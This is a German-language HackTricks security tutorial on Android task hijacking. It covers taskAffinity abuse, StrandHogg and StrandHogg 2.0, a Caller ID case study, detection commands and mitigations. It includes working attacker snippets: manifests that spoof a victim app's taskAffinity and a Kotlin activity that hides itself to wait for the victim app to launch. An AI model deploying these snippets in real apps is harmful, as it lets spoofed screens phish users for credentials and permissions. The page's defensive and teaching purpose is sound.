Android Task Hijacking

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

Task, Back Stack und VordergrundaktivitÀten

In Android ist eine Task im Wesentlichen eine Gruppe von AktivitÀten, mit denen Benutzer interagieren, um eine bestimmte Aufgabe zu erledigen, organisiert innerhalb eines Back Stacks. Dieser Stack ordnet AktivitÀten basierend darauf, wann sie geöffnet wurden, wobei die aktuellste AktivitÀt oben als VordergrundaktivitÀt angezeigt wird. Zu jedem Zeitpunkt ist nur diese AktivitÀt auf dem Bildschirm sichtbar, was sie Teil der Vordergrund-Task macht.

Hier ist eine kurze Übersicht ĂŒber AktivitĂ€tsĂŒbergĂ€nge:

  • AktivitĂ€t 1 beginnt als die einzige AktivitĂ€t im Vordergrund.
  • Das Starten von AktivitĂ€t 2 schiebt AktivitĂ€t 1 in den Back Stack und bringt AktivitĂ€t 2 in den Vordergrund.
  • Das Starten von AktivitĂ€t 3 verschiebt AktivitĂ€t 1 und AktivitĂ€t 2 weiter nach hinten im Stack, wobei AktivitĂ€t 3 jetzt vorne ist.
  • Das Schließen von AktivitĂ€t 3 bringt AktivitĂ€t 2 zurĂŒck in den Vordergrund und zeigt das optimierte Task-Navigationsmechanismus von Android.

https://developer.android.com/images/fundamentals/diagram_backstack.png


Task-AffinitÀtsangriffe

taskAffinity sagt Android, zu welcher Task eine Activity bevorzugt gehören wĂŒrde. Wenn zwei AktivitĂ€ten die gleiche AffinitĂ€t teilen, darf Android sie im selben Back Stack zusammenfĂŒhren, auch wenn sie aus verschiedenen APKs stammen.

Wenn ein Angreifer eine bösartige AktivitĂ€t an die Wurzel dieses Stacks platzieren kann, wird jedes Mal, wenn das Opfer die legitime Anwendung öffnet, die bösartige BenutzeroberflĂ€che das Erste sein, was der Benutzer sieht – perfekt fĂŒr Phishing oder missbrĂ€uchliche Berechtigungsanfragen.

Die AngriffsflĂ€che ist breiter, als viele Entwickler denken, da jede AktivitĂ€t automatisch eine AffinitĂ€t erbt, die dem Anwendungs-Paketnamen entspricht (es sei denn, der Entwickler setzt android:taskAffinity=""). Daher nichts zu tun lĂ€sst die App bereits fĂŒr Task-Hijacking auf Android-Versionen vor 11 offen.

Klassisches “singleTask / StrandHogg”-Szenario

  1. Der Angreifer erklÀrt eine AktivitÀt mit:
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. Die bösartige App wird einmal gestartet, sodass die Task (mit der gefÀlschten AffinitÀt) in den letzten Tasks existiert.
  2. Wenn der Benutzer spĂ€ter die echte Anwendung öffnet, stellt Android fest, dass es bereits eine Task gibt, deren Wurzel-AffinitĂ€t mit dem Paket ĂŒbereinstimmt, und bringt diese Task einfach in den Vordergrund.
  3. Die BenutzeroberflÀche des Angreifers wird zuerst angezeigt.

Standard-AffinitĂ€t (kein singleTask) Variante – Caller ID Fallstudie

Die in der Caller ID (caller.id.phone.number.block) Anwendung gemeldete Schwachstelle zeigt, dass der Angriff auch gegen den Standard-standard-Startmodus funktioniert:

  1. Die Angreiferanwendung erstellt eine gefÀlschte WurzelaktivitÀt und versteckt sich sofort:
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true)   // halte die Task in den letzten, aber außer Sicht
}
}
  1. Das Manifest muss nur das Paket des Opfers in taskAffinity kopieren:
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
  1. Sobald der Benutzer die bösartige App einmal installiert und geöffnet hat, existiert eine Task, deren AffinitÀt dem Paket des Opfers entspricht (aber im Hintergrund sitzt).
  2. Wenn die echte Caller ID-Anwendung gestartet wird, verwendet Android diese Task erneut und bringt HackActivity in den Vordergrund → Phishing-Fenster/Berechtigungsmissbrauch.

HINWEIS: Ab Android 11 (API 30) platziert das System nicht standardmĂ€ĂŸig zwei Pakete, die nicht Teil derselben UID sind, in dieselbe Task, wodurch diese spezielle Variante gemildert wird. Ältere Versionen bleiben anfĂ€llig.


StrandHogg 2.0 (CVE-2020-0096) – Reflexionsbasierter Task-Hijack

Das Sicherheitsbulletin von Google vom Mai 2020 behob eine fortgeschrittenere Variante, die StrandHogg 2.0 genannt wird. Der Exploit beruht ĂŒberhaupt nicht auf taskAffinity; stattdessen verwendet er Reflexion, um die AktivitĂ€t des Angreifers dynamisch an die Spitze jeder laufenden Task einzufĂŒgen und umgeht vollstĂ€ndig die „Shared-UID“-EinschrĂ€nkung, die mit Android 11 eingefĂŒhrt wurde.

Wichtige Punkte:

  • Eine bösartige App ohne Berechtigungen kann, sobald sie geöffnet ist, ĂŒber laufende Tasks iterieren und versteckte APIs aufrufen, um ihre eigene AktivitĂ€t in jede Task neu zuzuordnen.
  • Da die AktivitĂ€t nach der Laufzeit eingefĂŒgt wird, können weder launchMode noch statische Manifestanalyse den Angriff im Voraus erkennen.
  • Behebt durch das ZurĂŒckportieren einer ÜberprĂŒfung in Android 8.0/8.1/9 (Mai 2020 SPL). Android 10 und höher sind nicht betroffen.

Die Erkennung auf vorgepatchten GerĂ€ten kann mit adb shell dumpsys activity activities durchgefĂŒhrt werden, indem nach verdĂ€chtigen AktivitĂ€ten gesucht wird, deren Paketname von der AffinitĂ€t der Task abweicht.

Die Minderung fĂŒr Legacy-GerĂ€te ist die gleiche wie beim klassischen Task-Hijacking plus LaufzeitĂŒberprĂŒfung (z. B. Aufruf von ActivityManager#getRunningTasks und Validierung des eigenen Paketnamens).


Erkennungs- & Ausnutzungscheckliste

  1. Statische ÜberprĂŒfung – Ziehen Sie AndroidManifest.xml aus der Ziel-APK und ĂŒberprĂŒfen Sie, ob jede <activity> (oder das globale <application>-Element) android:taskAffinity="" (leer) oder einen benutzerdefinierten Wert enthĂ€lt. Tools wie:
# Verwendung von apkanalyzer (Android SDK)
apkanalyzer manifest print app.apk | grep -i taskaffinity

# Verwendung von AXMLPrinter2
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
  1. Dynamische ÜberprĂŒfung – Öffnen Sie auf dem GerĂ€t die Ziel-App und listen Sie die Tasks auf:
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"

Eine Task, deren Wurzel-AffinitÀt dem Paket des Opfers entspricht, deren oberste AktivitÀt jedoch zu einem anderen Paket gehört, ist ein Warnsignal. 3. Erstellen Sie eine bösartige App wie oben beschrieben oder verwenden Sie Drozer:

drozer console connect
run app.activity.start --component com.victim/.MainActivity --action android.intent.action.MAIN
run app.activity.info com.victim

Minderung

Entwickler sollten:

  • android:taskAffinity="" auf der <application>-Ebene explizit festlegen (empfohlen) oder jeder AktivitĂ€t eine einzigartige, private AffinitĂ€t geben.
  • FĂŒr hochsensible Bildschirme die obigen Punkte mit android:launchMode="singleInstance" oder modernen setLaunchMode-Schutzmaßnahmen kombinieren.
  • Die targetSdkVersion der App aktualisieren und die Android 11-VerhaltensĂ€nderungen durchsetzen, bei denen Tasks standardmĂ€ĂŸig nicht ĂŒber Pakete hinweg geteilt werden.
  • Android 12 (API 31) oder höher anvisieren, damit das obligatorische android:exported-Attribut die Entwickler zwingt, jede extern erreichbare Komponente zu ĂŒberprĂŒfen.
  • Laufzeit-Selbstverteidigung in Betracht ziehen: regelmĂ€ĂŸig ActivityTaskManager abfragen, um sicherzustellen, dass das Paket Ihrer obersten AktivitĂ€t mit Ihrem eigenen ĂŒbereinstimmt.

Verwandte UI-Hijacking-Techniken

Task-Hijacking wird oft mit oder durch Tapjacking (ĂŒberlagerungsbasierte UI-TĂ€uschung) kombiniert oder ersetzt. Die Forschung von 2025 TapTrap zeigte, dass vollstĂ€ndig transparente animationsgesteuerte AktivitĂ€ten die ÜberlagerungsberĂŒhrungsbeschrĂ€nkungen umgehen können, die in Android 12–14 eingefĂŒhrt wurden, und Benutzer dennoch dazu verleiten können, gefĂ€hrliche Berechtigungen zu gewĂ€hren. WĂ€hrend TapTrap nicht strikt Task-Hijacking ist, ist das Endziel (Phishing-Klicks) identisch – moderne Bewertungen sollten daher beide AngriffsflĂ€chen ĂŒberprĂŒfen.


Referenzen

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks